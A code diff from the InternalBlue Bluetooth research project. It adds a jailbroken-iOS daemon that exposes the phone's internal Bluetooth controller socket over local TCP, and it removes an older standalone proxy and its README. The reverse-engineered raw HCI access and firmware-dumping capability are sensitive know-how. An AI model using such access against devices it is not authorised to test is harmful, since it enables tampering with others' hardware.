if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
NSLog(@"[!] ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
NSLog(@"[!] error: %s\n", strerror(errno));
return -1;
}
*(int *)&sock_addr.sa_len = 0x22020;
*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
ret = connect(socket_fd, &sock_addr, 0x20);
if (ret != 0) {
NSLog(@"[!] connect() = %d - errno: %d\n", ret, errno);
NSLog(@"[!] error: %s\n", strerror(errno));
return -1;
}
NSLog(@"[*] Connected to Bluetooth chip H4 socket\n");
socklen_t len = 72;
ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
if (ret != 0) {
NSLog(@"[!] getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
NSLog(@"[!] error: %s\n", strerror(errno));
return -1;
}
cfmakeraw(&term);
ret = cfsetspeed(&term, 3000000);
if (ret != 0) {
NSLog(@"[!] cfsetspeed() = %d - errno: %d\n", ret, errno);
NSLog(@"[!] error: %s\n", strerror(errno));
return -1;
}
term.c_iflag |= 4;
term.c_cflag = 232192;
ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
if (ret != 0) {
NSLog(@"[!] setsockopt() = %d - errno: %d\n", ret, errno);
NSLog(@"[!] error: %s\n", strerror(errno));
return -1;
}
tcflush(socket_fd, 3);
free(ctl_inf);
return socket_fd;
}
int create_server(int port) {
int server_fd;
struct sockaddr_in server;
int on = 1;
int addrlen;
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
NSLog(@"[!] Unable to create server socket\n");
return -1;
}
addrlen = sizeof(server);
memset(&server, '\0', addrlen);
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(port);
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
NSLog(@"[!] Error binding socket\n");
return -1;
}
if (listen(server_fd, 5) < 0) {
NSLog(@"[!] Failed listening on port %d, Error: %s\n", port, strerror(errno));
return -1;
}
NSLog(@"[*] Listening on port %d\n", port);
return server_fd;
}
int wait_for_connection(int server_fd) {
int client_fd;
socklen_t len;
struct sockaddr_in client;
len = sizeof(struct sockaddr_in);
client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
if (client_fd < 0) {
NSLog(@"[!] Accepting connection failed\n");
return -1;
}
return client_fd;
}
void proxy_bt_socket(int client, int bt) {
char *client_buf, *bt_buf;
int nfds, x;
fd_set R;
size_t n;
client_buf = malloc(0x2000);
bt_buf = malloc(0x2000);
nfds = client > bt ? client : bt;
nfds++;
while(1) {
struct timeval to;
FD_ZERO(&R);
FD_SET(client, &R);
FD_SET(bt, &R);
to.tv_sec = 0;
to.tv_usec = 100;
x = select(nfds+1, &R, 0, 0, &to);
if (x > 0) {
if (FD_ISSET(client, &R)) {
n = read(client, client_buf, 4096);
if (n > 0) {
write(bt, client_buf, n);
} else {
close(client);
NSLog(@"[!] Client read failed\n");
return;
}
}
if (FD_ISSET(bt, &R)) {
n = read(bt, bt_buf, 4096);
if (n > 0) {
write(client, bt_buf, n);
} else {
close(client);
NSLog(@"[!] H4 socket read failed\n");
return;
}
}
} else if (x < 0 && errno != EINTR){
NSLog(@"[!] Select failed with %s\n", strerror(errno));
close(client);
return;
}
}
}
+9
View File
@@ -0,0 +1,9 @@
Package: com.ttdennis.internalblued
Name: internalblued
Depends:
Version: 0.0.1
Architecture: iphoneos-arm
Description: InternalBlue iOS Proxy Daemon
Maintainer: Dennis Heinze
Author: Dennis Heinze
Section: System
+2
View File
@@ -0,0 +1,2 @@
#!/bin/sh
launchctl load /Library/LaunchDaemons/com.ttdennis.internalblued.plist
+2
View File
@@ -0,0 +1,2 @@
#!/bin/sh
launchctl unload /Library/LaunchDaemons/com.ttdennis.internalblued.plist 2>&1 > /dev/null
+2
View File
@@ -0,0 +1,2 @@
#!/bin/sh
launchctl unload /Library/LaunchDaemons/com.ttdennis.internalblued.plist
@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.ttdennis.internalblued</string>
<key>MachServices</key>
<dict>
<key>com.ttdennis.internalblued</key>
<true/>
</dict>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/internalblued</string>
</array>
<key>UserName</key>
<string>mobile</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
+179
View File
@@ -0,0 +1,179 @@
#include <xpc/xpc.h>
#include <pthread.h>
#include <spawn.h>
#include "ios-proxy.h"
#include "xpc_protocol.h"
#define PREF_FILE @"/var/mobile/Library/Preferences/com.ttdennis.internalblue-prefs.plist"
int manual_port = -1;
bool proxy_is_running = false;
pthread_t proxy_thread;
int get_proxy_port() {
int port = 0;
if (manual_port != -1) {
return manual_port;
}
NSMutableDictionary *prefs = [[NSMutableDictionary alloc] initWithContentsOfFile: PREF_FILE];
if (prefs) {
port = [[prefs objectForKey:@"port"] intValue];
} else {
NSLog(@"Preference file not found, chosing standard port 1234");
}
if (port == 0)
port = 1234;
return port;
}
bool proxy_pref_on() {
bool res = true;
NSMutableDictionary *prefs = [[NSMutableDictionary alloc] initWithContentsOfFile: PREF_FILE];
if (prefs) {
id obj = [prefs objectForKey:@"isEnabled"];
// no object exists, this means the user never toggled the switch
// which means the server is on (because it is by default), and we
// should stop -> return true
if (!obj) {
return true;
}
res = [obj boolValue];
} else {
NSLog(@"Preference file not found, chosing standard value true");
}
return res;
}
void *proxy_fn() {
int port = get_proxy_port();
int server_fd, client_fd, btwake_fd, bt_fd;
while (proxy_is_running) {
server_fd = create_server(port);
if (server_fd < 0) {
NSLog(@"Unable to create proxy server: %s", strerror(errno));
break;
}
NSLog(@"Created proxy server, waiting for connection");
client_fd = wait_for_connection(server_fd);
if (client_fd < 0) {
NSLog(@"Unable to establish connection: %s", strerror(errno));
close(server_fd);
}
// now that a client connection from internalblue is established
// we can claim the BT device
btwake_fd = open("/dev/btwake", O_RDONLY);
bt_fd = connect_bt_device();
if (bt_fd < 0) {
NSLog(@"Unable to connect to Bluetooth device: %s", strerror(errno));
close(server_fd);
close(client_fd);
close(btwake_fd);
}
// currently only one connection is supported
proxy_bt_socket(client_fd, bt_fd);
close(client_fd);
close(server_fd);
close(bt_fd);
close(btwake_fd);
}
return NULL;
}
void start_proxy() {
if (proxy_is_running) {
NSLog(@"Cannot start proxy, it is already running");
} else {
pthread_create(&proxy_thread, NULL, &proxy_fn, NULL);
proxy_is_running = true;
}
}
void stop_proxy() {
if (proxy_is_running) {
pthread_kill(proxy_thread, SIGKILL);
proxy_is_running = false;
} else {
NSLog(@"Cannot stop proxy, it is not running");
}
}
void _ib_xpc_recv_handler(xpc_object_t object) {
uint64_t opcode = xpc_dictionary_get_uint64(object, "message");
if ((void*)opcode == NULL) {
NSLog(@"Received invalid message.");
return;
}
NSLog(@"Got message with opcode %llu", opcode);
switch(opcode) {
case CMD_START_PROXY:
start_proxy();
break;
case CMD_STOP_PROXY:
stop_proxy();
break;
}
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if (argc > 1) {
int port = atoi(argv[1]);
NSLog(@"Hi, looks like you manually started internalblued on port %d", port);
if (proxy_pref_on()) {
int _configured_port = get_proxy_port();
NSLog(@"internalblued is already running on port %d. Please turn it off in the iPhone's preferences first, before launching it manually.", _configured_port);
exit(-1);
}
manual_port = port;
start_proxy();
[[NSRunLoop currentRunLoop] run];
} else {
// Start the proxy if pref allows us to
if (proxy_pref_on()) {
NSLog(@"Starting proxy because it is enabled.");
start_proxy();
}
// Attempt to create the server, exit if this fails
xpc_connection_t connection = xpc_connection_create_mach_service("com.ttdennis.internalblued", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!connection) {
NSLog(@"Failed to create XPC server. Exiting.");
return 0;
}
// Configure event handler
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
xpc_type_t type = xpc_get_type(object);
if (type == XPC_TYPE_CONNECTION) {
NSLog(@"XPC server received incoming connection: %s", xpc_copy_description(object));
xpc_connection_set_event_handler(object, ^(xpc_object_t some_object) {
NSLog(@"XPC connection received object: %s", xpc_copy_description(some_object));
_ib_xpc_recv_handler(some_object);
});
xpc_connection_resume(object);
} else if (type == XPC_TYPE_ERROR) {
NSLog(@"XPC server error: %s", xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION));
} else {
NSLog(@"XPC server received unknown object: %s", xpc_copy_description(object));
}
});
xpc_connection_resume(connection);
[[NSRunLoop currentRunLoop] run];
}
return 0;
}
}
+4
View File
@@ -0,0 +1,4 @@
#define CMD_RESTART_BLUETOOTHD 0
#define CMD_START_PROXY 1
#define CMD_STOP_PROXY 2
#define CMD_RESTART_PROXY 3
-38
View File
@@ -1,38 +0,0 @@
# internalblue-ios-proxy
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required. To compile the project, a Mac with xcode is required.
The precompiled `ios-proxy` binary was tested on the iPhone 6 (12.1.2, 12.4), iPhone SE (12.4),
iPhone 7 (12.1.2, 12.4), and iPhone X (12.4).
## Building internalblue-ios-proxy
Open the project with xcode and compile it. Xcode will create a single binary that can then be transferred onto the device.
## Installing internalblue-ios-proxy
1. Right-click the `internalblue-ios-proxy` binary and click "Show in Finder". This will open the location the compiled binary resides in.
2. Move the binary onto the device (e.g. with scp) at a location where applications are allowed to be executed (e.g. `/bin` or `/sbin`).
3. The binary needs the `platform-application` entitlement. This is achieved by signing the binary with the included `entitlements.xml` file.
Sign it using `ldid -Sentitlements.xml internalblue-ios-proxy`. `ldid` should be on a jailbroken device with Cydia by default.
If `ldid` was not installed with your jailbreak, try opening [sileo://package/ldid](sileo://package/ldid).
## Running internalblue-ios-proxy
Run the proxy by executing `internalblue-ios-proxy <port-number>`.
The phone will then listen on this port and can be accessed either when on the same Wi-Fi or
by proxying the port through USB (using [usbmuxd](https://iphonedevwiki.net/index.php/SSH_Over_USB)).
When enabling a personal hotspot, you can also run `dhclient` on *Linux* on the new local ethernet interface.
A few things to note:
- To increase reliability of the proxy, *Bluetooth should be disabled*
(either by manually stopping the Bluetooth daemon or by shutting of Bluetooth in the
settings on the phone). Despite shutting down Bluetooth, the RAM will still have the same contents
as during previous usage, and you can analyze it.
- The current implementation sometimes returns wrong results, thus we double-check results of
commands that read ROM/RAM. We show warnings, but firmware dumps should complete nonetheless.
- To get sufficient performance, access the `ios-proxy` over USB and not using Wi-Fi.
- In case the Bluetooth chip crashes or does not respond anymore over the proxy,
the proxy should be stopped and Bluetooth should be turned off and on again in the UI.
- Sometimes the Bluetooth socket will not respond anymore after establishing a second connection,
just restart the proxy then.
This project is based on Brandon Azad's [iOS command line tool](https://github.com/bazad/ios-command-line-tool) template.
-8
View File
@@ -1,8 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>platform-application</key>
<true/>
</dict>
</plist>
@@ -1,285 +0,0 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 50;
objects = {
/* Begin PBXBuildFile section */
BB958F25227BA4580029C2D6 /* internalblue-ios-proxy.c in Sources */ = {isa = PBXBuildFile; fileRef = BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = "internalblue-ios-proxy"; sourceTree = BUILT_PRODUCTS_DIR; };
BB958F23227BA4580029C2D6 /* internalblue-ios-proxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "internalblue-ios-proxy.h"; sourceTree = "<group>"; };
BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = "internalblue-ios-proxy.c"; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
551A88C1208E671F0048DFA0 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
551A88BB208E671F0048DFA0 = {
isa = PBXGroup;
children = (
551A88C6208E671F0048DFA0 /* internalblue-ios-proxy */,
551A88C5208E671F0048DFA0 /* Products */,
);
sourceTree = "<group>";
};
551A88C5208E671F0048DFA0 /* Products */ = {
isa = PBXGroup;
children = (
551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */,
);
name = Products;
sourceTree = "<group>";
};
551A88C6208E671F0048DFA0 /* internalblue-ios-proxy */ = {
isa = PBXGroup;
children = (
BB958F23227BA4580029C2D6 /* internalblue-ios-proxy.h */,
BB958F24227BA4580029C2D6 /* internalblue-ios-proxy.c */,
);
path = "internalblue-ios-proxy";
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
551A88C3208E671F0048DFA0 /* internalblue-ios-proxy */ = {
isa = PBXNativeTarget;
buildConfigurationList = 551A88CD208E671F0048DFA0 /* Build configuration list for PBXNativeTarget "internalblue-ios-proxy" */;
buildPhases = (
551A88C0208E671F0048DFA0 /* Sources */,
551A88C1208E671F0048DFA0 /* Frameworks */,
);
buildRules = (
);
dependencies = (
);
name = "internalblue-ios-proxy";
productName = "ios-command-line-tool";
productReference = 551A88C4208E671F0048DFA0 /* internalblue-ios-proxy */;
productType = "com.apple.product-type.library.dynamic";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
551A88BC208E671F0048DFA0 /* Project object */ = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 0930;
ORGANIZATIONNAME = ttdennis;
TargetAttributes = {
551A88C3208E671F0048DFA0 = {
CreatedOnToolsVersion = 9.3;
};
};
};
buildConfigurationList = 551A88BF208E671F0048DFA0 /* Build configuration list for PBXProject "internalblue-ios-proxy" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
);
mainGroup = 551A88BB208E671F0048DFA0;
productRefGroup = 551A88C5208E671F0048DFA0 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
551A88C3208E671F0048DFA0 /* internalblue-ios-proxy */,
);
};
/* End PBXProject section */
/* Begin PBXSourcesBuildPhase section */
551A88C0208E671F0048DFA0 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
BB958F25227BA4580029C2D6 /* internalblue-ios-proxy.c in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin XCBuildConfiguration section */
551A88CB208E671F0048DFA0 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "iPhone Developer";
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
MTL_ENABLE_DEBUG_INFO = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
};
name = Debug;
};
551A88CC208E671F0048DFA0 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "iPhone Developer";
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
MTL_ENABLE_DEBUG_INFO = NO;
SDKROOT = iphoneos;
VALIDATE_PRODUCT = YES;
};
name = Release;
};
551A88CE208E671F0048DFA0 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
DEVELOPMENT_TEAM = RSU3RMH9UZ;
DYLIB_COMPATIBILITY_VERSION = "";
DYLIB_CURRENT_VERSION = "";
EXECUTABLE_PREFIX = "";
EXECUTABLE_SUFFIX = "";
MACH_O_TYPE = mh_execute;
OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Debug;
};
551A88CF208E671F0048DFA0 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
DEVELOPMENT_TEAM = RSU3RMH9UZ;
DYLIB_COMPATIBILITY_VERSION = "";
DYLIB_CURRENT_VERSION = "";
EXECUTABLE_PREFIX = "";
EXECUTABLE_SUFFIX = "";
MACH_O_TYPE = mh_execute;
OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
551A88BF208E671F0048DFA0 /* Build configuration list for PBXProject "internalblue-ios-proxy" */ = {
isa = XCConfigurationList;
buildConfigurations = (
551A88CB208E671F0048DFA0 /* Debug */,
551A88CC208E671F0048DFA0 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
551A88CD208E671F0048DFA0 /* Build configuration list for PBXNativeTarget "internalblue-ios-proxy" */ = {
isa = XCConfigurationList;
buildConfigurations = (
551A88CE208E671F0048DFA0 /* Debug */,
551A88CF208E671F0048DFA0 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 551A88BC208E671F0048DFA0 /* Project object */;
}
@@ -1,282 +0,0 @@
//
// internalblue-ios-proxy.c
// internalblue-ios-proxy
//
// Created by ttdennis on 03.05.19.
// Copyright © 2019 ttdennis. All rights reserved.
//
#include "internalblue-ios-proxy.h"
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/errno.h>
#include <sys/select.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <termios.h>
#define IOAOSSKYSETCHANNELSPEC 0x800C5414
#define IOAOSSKYGETCHANNELUUID 0x40105412
#define CTLIOCGINFO 0xC0644E03
typedef struct ctl_info {
uint32_t ctl_id;
char ctl_name[96];
} ctl_info_t;
int btwake_fd, bt_fd;
/*
This code has been put together by reverse-engineering BlueTool and bluetoothd on
iOS. Some of the things that happen here are not completely understood but the goal
was to just get it to work.
*/
int connect_bt_device() {
int socket_fd = socket(32, 1, 2);
int error = 0;
int ret = 0;
struct sockaddr sock_addr;
struct termios term;
if (socket_fd == 0) {
printf("unable to get bluetooth socket\n");
return -1;
}
ctl_info_t *ctl_inf = malloc(sizeof(ctl_info_t));
ctl_inf->ctl_id = 0;
strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
printf("ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
printf("error: %s\n", strerror(errno));
return -1;
}
*(int *)&sock_addr.sa_len = 0x22020;
*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
ret = connect(socket_fd, &sock_addr, 0x20);
if (ret != 0) {
printf("connect() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno));
return -1;
}
printf("Connected to bt device\n");
socklen_t len = 72;
ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
if (ret != 0) {
printf("getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno));
return -1;
}
cfmakeraw(&term);
ret = cfsetspeed(&term, 3000000);
if (ret != 0) {
printf("cfsetspeed() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno));
return -1;
}
term.c_iflag |= 4;
term.c_cflag = 232192;
ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
if (ret != 0) {
printf("setsockopt() = %d - errno: %d\n", ret, errno);
printf("error: %s\n", strerror(errno));
return -1;
}
tcflush(socket_fd, 3);
free(ctl_inf);
return socket_fd;
}
int create_server(int port) {
int server_fd;
struct sockaddr_in server;
int on = 1;
int addrlen;
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
printf("Unable to create server socket\n");
return -1;
}
addrlen = sizeof(server);
memset(&server, '\0', addrlen);
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
printf("Error binding socket\n");
return -1;
}
if (listen(server_fd, 5) < 0) {
printf("Failed listening: %s\n", strerror(errno));
return -1;
}
printf("Listening on port %d\n", port);
return server_fd;
}
int wait_for_connection(int server_fd) {
int client_fd;
socklen_t len;
struct sockaddr_in client;
len = sizeof(struct sockaddr_in);
client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
if (client_fd < 0) {
printf("Accepting connection failed\n");
return -1;
}
return client_fd;
}
size_t buffered_write(int fd, char *buf, int *len)
{
size_t x = write(fd, buf, *len);
if (x < 0)
return x;
if (x == 0)
return x;
if (x != *len)
memmove(buf, buf+x, (*len)-x);
*len -= x;
return x;
}
void proxy_bt_socket(int client, int bt) {
char *client_buf, *bt_buf;
int nfds;
fd_set R;
int client_out = 0;
int bt_out = 0;
int x;
size_t n;
client_buf = malloc(1024);
bt_buf = malloc(1024);
nfds = client > bt ? client : bt;
nfds++;
while(1) {
struct timeval to;
if (client_out) {
buffered_write(bt, client_buf, &client_out);
}
if (bt_out) {
buffered_write(client, bt_buf, &bt_out);
}
FD_ZERO(&R);
if (client_out < 1024)
FD_SET(client, &R);
if (bt_out < 1024)
FD_SET(bt, &R);
to.tv_sec = 0;
to.tv_usec = 1000;
x = select(nfds+1, &R, 0, 0, &to);
if (x > 0) {
if (FD_ISSET(client, &R)) {
n = read(client, client_buf+client_out, 1024-client_out);
if (n > 0) {
client_out += n;
} else {
close(client);
printf("Client read failed\n");
return;
}
}
if (FD_ISSET(bt, &R)) {
n = read(bt, bt_buf+bt_out, 1024-bt_out);
if (n > 0) {
bt_out += n;
} else {
close(client);
printf("BT read failed\n");
return;
}
}
} else if (x < 0 && errno != EINTR){
printf("Select failed with %s\n", strerror(errno));
close(client);
return;
}
}
}
void __exit(int sig) {
close(bt_fd);
close(btwake_fd);
exit(0);
}
int main(int argc, char **argv) {
int server_fd, client_fd;
int port;
if (argc != 2) {
printf("Usage: %s <port_number>\n", argv[0]);
return 1;
}
port = atoi(argv[1]);
// wake BT device
btwake_fd = open("/dev/btwake", 0);
bt_fd = connect_bt_device();
if (bt_fd < 0) {
printf("Error connecting to bluetooth device\n");
return -1;
}
server_fd = create_server(port);
if (server_fd < 0) {
printf("Unable to create server\n");
return -1;
}
printf("Created server\n");
signal(SIGINT, __exit);
while (1) {
printf("Waiting for connection\n");
client_fd = wait_for_connection(server_fd);
if (client_fd < 0)
continue;
// currently only one connection is supported
proxy_bt_socket(client_fd, bt_fd);
close(client_fd);
}
return 0;
}
@@ -1,14 +0,0 @@
//
// internalblue-ios-proxy.h
// internalblue-ios-proxy
//
// Created by ttdennis on 03.05.19.
// Copyright © 2019 ttdennis. All rights reserved.
//
#ifndef internalblue_ios_proxy_h
#define internalblue_ios_proxy_h
#include <stdio.h>
#endif /* internalblue_ios_proxy_h */
Binary file not shown.
@@ -0,0 +1,532 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 50;
objects = {
/* Begin PBXBuildFile section */
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E1231D7CAE0003E282 /* HCIDelegate.m */; };
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E9231DCDE30003E282 /* HCIDelegate.swift */; };
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */; };
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */; };
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31742322D1049D004B9604 /* IOBluetoothExtended.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31743A22D104DA004B9604 /* HCIDelegate.h */; settings = {ATTRIBUTES = (Public, ); }; };
